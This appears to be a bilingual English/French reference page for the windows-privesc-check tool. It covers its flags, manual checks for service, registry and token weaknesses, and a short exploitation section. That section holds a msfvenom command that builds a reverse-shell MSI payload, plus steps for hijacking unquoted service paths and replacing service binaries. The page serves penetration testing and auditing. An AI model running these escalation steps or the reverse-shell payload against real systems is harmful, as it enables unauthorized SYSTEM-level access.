windows-privesc-check
Vérificateur d'élévation de privilèges Windows. Scanne un système Windows à la recherche de vecteurs d'élévation de privilèges courants : permissions de service faibles, chemins de service non guillemetés, clés de registre inscriptibles, tâches planifiées et privilèges de token. Windows privilege escalation checker. Scans a Windows system for common privilege escalation vectors — weak service permissions, unquoted service paths, writable registry keys, scheduled tasks, and token privileges.
↗ https://github.com/pentestmonkey/windows-privesc-checkOverview
windows-privesc-check is a standalone Windows executable that audits a system for privilege escalation vulnerabilities. It checks service binaries, service permissions, registry ACLs, scheduled tasks, startup locations, and more — producing a report of exploitable weaknesses.
Basic Usage
Run all checks (on Windows target)
windows-privesc-check2.exe --dump -G
Audit to text file
windows-privesc-check2.exe --dump -G > privesc_report.txt
Specific checks
windows-privesc-check2.exe --audit -G
Run as non-admin (shows what’s exploitable from current privilege)
windows-privesc-check2.exe --dump -a -G
Key Checks Performed
# Services with weak binary permissions
# → Can replace the service executable
windows-privesc-check2.exe -a --checks services
# Unquoted service paths
# → Can drop exe in path before the actual binary
windows-privesc-check2.exe -a --checks unquoted
# Writable registry service keys
# → Can modify ImagePath to point to custom binary
windows-privesc-check2.exe -a --checks registry
# Scheduled tasks with weak permissions
windows-privesc-check2.exe -a --checks scheduled_tasks
# AlwaysInstallElevated registry key
windows-privesc-check2.exe -a --checks alwaysinstallelevated
# Startup folder writability
windows-privesc-check2.exe -a --checks startup
# Token privileges
windows-privesc-check2.exe -a --checks token_privs
Manual Equivalent Checks
# Unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v '""'
# Check service binary permissions
icacls "C:\Path\To\service.exe"
# AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Check token privileges
whoami /priv
Exploiting Common Findings
# Unquoted service path (e.g., C:\Program Files\My App\service.exe)
# → Create C:\Program.exe or C:\Program Files\My.exe
# → Service runs your binary as SYSTEM next restart
# Weak service binary permissions
# → Replace service binary with reverse shell
# → sc stop ServiceName && sc start ServiceName
# AlwaysInstallElevated
# → Create MSI payload with msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f msi -o payload.msi
# → msiexec /quiet /qn /i payload.msi
Tips
- Use winPEAS for a more comprehensive and frequently updated alternative
- Run as the compromised user — results show what’s exploitable from that privilege level
- Unquoted service paths are very common in enterprise environments
- Prioritize services running as SYSTEM — those are the highest value targets
- Compare findings with PowerUp.ps1 (from PowerSploit) for a second opinion
Help / Man page
windows-privesc-check2.exe [options]
--dump Dump all findings
--audit Audit mode (less verbose)
-G Generate full report
-a All checks
--checks X Specific check categories:
services, unquoted, registry,
scheduled_tasks, startup,
alwaysinstallelevated, token_privs
Vue d’ensemble
windows-privesc-check est un exécutable Windows autonome qui audite un système à la recherche de vulnérabilités d’élévation de privilèges. Il vérifie les binaires de service, les permissions de service, les ACL de registre, les tâches planifiées, les emplacements de démarrage, et plus, en produisant un rapport des faiblesses exploitables.
Utilisation de base
# Lancer toutes les vérifications (sur la cible Windows)
windows-privesc-check2.exe --dump -G
# Audit vers un fichier texte
windows-privesc-check2.exe --dump -G > privesc_report.txt
# Vérifications spécifiques
windows-privesc-check2.exe --audit -G
# Lancer en tant qu'utilisateur non administrateur (montre ce qui est
# exploitable depuis le niveau de privilège actuel)
windows-privesc-check2.exe --dump -a -G
Vérifications principales effectuées
# Services avec des permissions binaires faibles
# → Peut remplacer l'exécutable du service
windows-privesc-check2.exe -a --checks services
# Chemins de service non guillemetés
# → Peut déposer un exe dans le chemin avant le binaire réel
windows-privesc-check2.exe -a --checks unquoted
# Clés de registre de service inscriptibles
# → Peut modifier ImagePath pour pointer vers un binaire personnalisé
windows-privesc-check2.exe -a --checks registry
# Tâches planifiées avec des permissions faibles
windows-privesc-check2.exe -a --checks scheduled_tasks
# Clé de registre AlwaysInstallElevated
windows-privesc-check2.exe -a --checks alwaysinstallelevated
# Inscriptibilité du dossier de démarrage
windows-privesc-check2.exe -a --checks startup
# Privilèges de token
windows-privesc-check2.exe -a --checks token_privs
Vérifications manuelles équivalentes
# Chemins de service non guillemetés
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v '""'
# Vérifier les permissions binaires du service
icacls "C:\Path\To\service.exe"
# AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Vérifier les privilèges de token
whoami /priv
Exploiter les découvertes courantes
# Chemin de service non guillemeté (ex : C:\Program Files\My App\service.exe)
# → Créer C:\Program.exe ou C:\Program Files\My.exe
# → Le service exécute votre binaire en tant que SYSTEM au prochain redémarrage
# Permissions binaires de service faibles
# → Remplacer le binaire du service par un reverse shell
# → sc stop ServiceName && sc start ServiceName
# AlwaysInstallElevated
# → Créer un payload MSI avec msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f msi -o payload.msi
# → msiexec /quiet /qn /i payload.msi
Conseils
- Utiliser winPEAS pour une alternative plus complète et mise à jour plus fréquemment
- Lancer en tant qu’utilisateur compromis : les résultats montrent ce qui est exploitable depuis ce niveau de privilège
- Les chemins de service non guillemetés sont très courants dans les environnements d’entreprise
- Prioriser les services tournant en tant que SYSTEM : ce sont les cibles à plus forte valeur
- Comparer les découvertes avec PowerUp.ps1 (de PowerSploit) pour un second avis
Aide / Page de manuel
windows-privesc-check2.exe [options]
--dump Dump all findings
--audit Audit mode (less verbose)
-G Generate full report
-a All checks
--checks X Specific check categories:
services, unquoted, registry,
scheduled_tasks, startup,
alwaysinstallelevated, token_privs